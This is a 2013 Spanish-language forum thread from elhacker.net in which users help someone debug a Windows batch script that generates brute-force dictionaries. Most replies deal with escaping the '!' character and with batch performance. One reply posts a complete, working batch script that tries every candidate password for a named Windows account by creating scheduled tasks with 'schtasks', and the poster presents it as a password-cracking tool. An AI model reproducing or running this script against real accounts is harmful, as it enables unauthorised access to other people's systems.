Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: zikotik en 17 Julio 2013, 03:35 am



Título: [BATCH] Problema con diccionario
Publicado por: zikotik en 17 Julio 2013, 03:35 am
Hola gente, les comento que estoy haciendo una pequeña aplicación en batch que genera un diccionario con la cantidad de caracteres que el usuario desee.

El sistema en términos básicos sería:

- suponiendo que se ingresó un máximo de 4 caracteres por palabras -

aaaa
aaab
aaac
aaad
aaae
aaaf
...
aaaz
aaa0
aaa1

- y así constantemente -

El problema es que no puedo hacer que salgan los caracteres ! y ?.
Les dejo el código para que lo lean y me den una pequeña ayuda si es posible.
Gracias de antemano.

Código
  1. @echo off
  2. title Diccionario
  3. setlocal enabledelayedexpansion
  4.  
  5. set chars=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,w,w,x,y,z,0,1,2,3,4,5,6,7,8,9,!,?,#,@,.
  6. set ini=0
  7. set wor=0
  8. set /p lenght=Lenght:
  9.  
  10. call :generar
  11.  
  12.  
  13. :generar
  14. set /a wor+=1
  15. title Palabra %wor%
  16. if %ini% neq %lenght% (
  17. set /a ini+=1
  18. for %%c in (!chars!) do call :generate %~1%%~c
  19. set /a ini-=1
  20. ) else (
  21. set cadena=%~1
  22. echo.!cadena!
  23. echo.!cadena!>>diccionario_!lenght!.txt
  24. )
  25. goto:eof


Título: Re: [BATCH] Problema con diccionario
Publicado por: Eleкtro en 17 Julio 2013, 03:55 am
Escapa:

Código
  1. Echo ^^!

Saludos


Título: Re: [BATCH] Problema con diccionario
Publicado por: zikotik en 17 Julio 2013, 03:59 am
Escapa:

Código
  1. Echo ^^!

Saludos

Gracias por tu respuesta, pero lamentablemente me devuelve un valor nulo, no el símbolo tal.

Intenté tanto con ^ como con ^^ y nada.


Título: Re: [BATCH] Problema con diccionario
Publicado por: Eleкtro en 17 Julio 2013, 04:47 am
Intenté tanto con ^ como con ^^ y nada.

Lo que te dije funciona para mostrar el caracter conflictivo "!" cuando la expansión de variables está activada como lo está en el código que has mostrado:

Código
  1. setlocal enabledelayedexpansion
  2. Echo ^^!

...Óbviamente es un ejemplo que debes adaptar al resto de tu código.





Yo diréctamente te diría que los temas complicados y donde se maneja mucho texto lo tratases en cualquier otro lenguaje que no sea Batch, pero  si reálmente estás dispuesto a hacerlo sólo en Batch y si además quieres incluir los caracteres conflictivos "!" "?" pues entonces el code no va a poder quedar tán perfecto ni simplificado como deseas.

De todas formas no necesitas usar enabledelayedexpansion en el código.

Código
  1. @echo off
  2. title Diccionario
  3.  
  4. set "chars=a b c d e f g h i j k l m n o p q r s t u w w x y z 0 1 2 3 4 5 6 7 8 9 ! ."
  5. set /A "ini=0"
  6. set /A "wor=0"
  7.  
  8. set /p lenght=Lenght:
  9.  
  10. call :generar
  11.  
  12. pause&exit
  13.  
  14.  
  15. :generar
  16. set /a "wor+=1"
  17. title Palabra "%wor%"
  18. if %ini% neq %lenght% (
  19. set /a "ini+=1"
  20. for %%c in (%chars%) do (call :generar %~1%%c)
  21. set /a "ini-=1"
  22. ) else (
  23. echo.%1
  24. echo.%1>>"diccionario_%lenght%.txt"
  25. )
  26. goto:eof


Aquí tienes una alternativa funcional para mostrar los dos caracteres:

Código
  1. @echo off
  2. title Diccionario
  3.  
  4. rem set "chars=a b c d e f g h i j k l m n o p q r s t u w w x y z 0 1 2 3 4 5 6 7 8 9 ! ? ."
  5. set /A "ini=0"
  6. set /A "wor=0"
  7.  
  8. (
  9. Echo bla bla bla
  10. Echo bla bla bla
  11. )>"%TEMP%\chars.txt"
  12.  
  13. set /p lenght=Lenght:
  14.  
  15. call :generar
  16.  
  17. pause&exit
  18.  
  19.  
  20. :generar
  21. set /a "wor+=1"
  22. title Palabra "%wor%"
  23. if %ini% neq %lenght% (
  24. set /a "ini+=1"
  25. for /F %%c in ('type "%TEMP%\chars.txt"') do (call :generar %~1%%c)
  26. set /a "ini-=1"
  27. ) else (
  28. echo.%1
  29. echo.%1>>"diccionario_%lenght%.txt"
  30. )
  31. goto:eof


Tampoco me voy a esmerar mucho más tratándose de Batch y sus limitaciones.

Saludos!


Título: Re: [BATCH] Problema con diccionario
Publicado por: zikotik en 17 Julio 2013, 19:09 pm
Lo que te dije funciona para mostrar el caracter conflictivo "!" cuando la expansión de variables está activada como lo está en el código que has mostrado:

...

Bueno... la única manera es sacando el "!" y el "#".
Podría usar el C++, pero no se me ocurre cómo.
No le puedo sacar la lógica sinceramente, intenté con while(), for(), if() y nada...


Título: Re: [BATCH] Problema con diccionario
Publicado por: engel lex en 17 Julio 2013, 19:23 pm
por otro lado... que tan rapido podria ser batch para esto? :s


Título: Re: [BATCH] Problema con diccionario
Publicado por: zikotik en 17 Julio 2013, 20:01 pm
por otro lado... que tan rapido podria ser batch para esto? :s

Nada rápido... digamos que si ponemos una longitud de 4 caracteres, en batch se tardaría 1 hora o un poco más en escribir una lista completa de una longitud de 4 caracteres con una diversidad de 40 caracteres (más de 23720000 líneas).


Título: Re: [BATCH] Problema con diccionario
Publicado por: Eleкtro en 17 Julio 2013, 21:06 pm
@zikotik
Si además muestras el output en la CMD, la rapidez disminuye x2, te lo digo por experiencia, no hagas esto en Batch.

Saludos


Título: Re: [BATCH] Problema con diccionario
Publicado por: Binary_Death en 17 Julio 2013, 23:25 pm
Esta es la forma más eficiente de trabajar con generadores de diccionarios por fuerza bruta que conozco en batch, muchísimo más rápido que el método recursivo que estás intentando implementar. Échale un vistazo con calma, que es bastante enrevesado.

Código:
@echo off
setlocal enabledelayedexpansion
color 01&more/c<nul
set /p "user_name=*Username: "
set /p "max_lengh=*Length limit: "
set "chr_lst=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z"
set "cmd_gen.a=" & set "cmd_gen.b=" & set "cmd_gen.c="
set "chr_for="
set /a psw_lengh=0
set /a chr_cnt=0
set "task_name=%random%"
echo: -----Working...
:_loop.gen
setlocal
set /a psw_lengh+=1
if %psw_lengh% gtr %max_lengh% goto :_np
for %%i in (%chr_lst%) do (
if !chr_cnt! LSS %psw_lengh% (
set "chr_for=!chr_for!,%%i"
set/a chr_cnt+=1
)
)
for %%i in (%chr_for%) do set "cmd_gen.a=!cmd_gen.a!for %%%%i in (%chr_lst%) do ("
for %%i in (%chr_for%) do set "cmb_chr=!cmb_chr!%%%%i"
set "cmd_gen.b=schtasks /create /tn "%task_name%" /tr "cmd /c exit" /sc ONCE /st 00:00 /ru %user_name% /rp %cmb_chr%>nul 2>&1&&call:_yp %cmb_chr%"
for %%i in (%chr_for%) do set "cmd_gen.c=!cmd_gen.c!)"
%cmd_gen.a%%cmd_gen.b%%cmd_gen.c%
endlocal & set /a psw_lengh=%psw_lengh%
goto :_loop.gen
:_yp
schtasks /delete /tn "%task_name%" /f 1>nul 2>&1
echo.&echo:Password: %~1 & pause 1>nul
exit
:_np
echo.&echo: Password not found. & pause 1>nul
exit

Bueno... como ves aquí lo apliqué para el cracking de el password de un usuario de Windows  ;)


Título: Re: [BATCH] Problema con diccionario
Publicado por: Geormarsch en 26 Agosto 2013, 15:50 pm
http://foro.elhacker.net/scripting/batch_ice_gen_10_generador_de_wordlistcombolistwepwpaserialcookiesip-t351916.0.html (http://foro.elhacker.net/scripting/batch_ice_gen_10_generador_de_wordlistcombolistwepwpaserialcookiesip-t351916.0.html)

ahí un generador que hizo el elektro ;)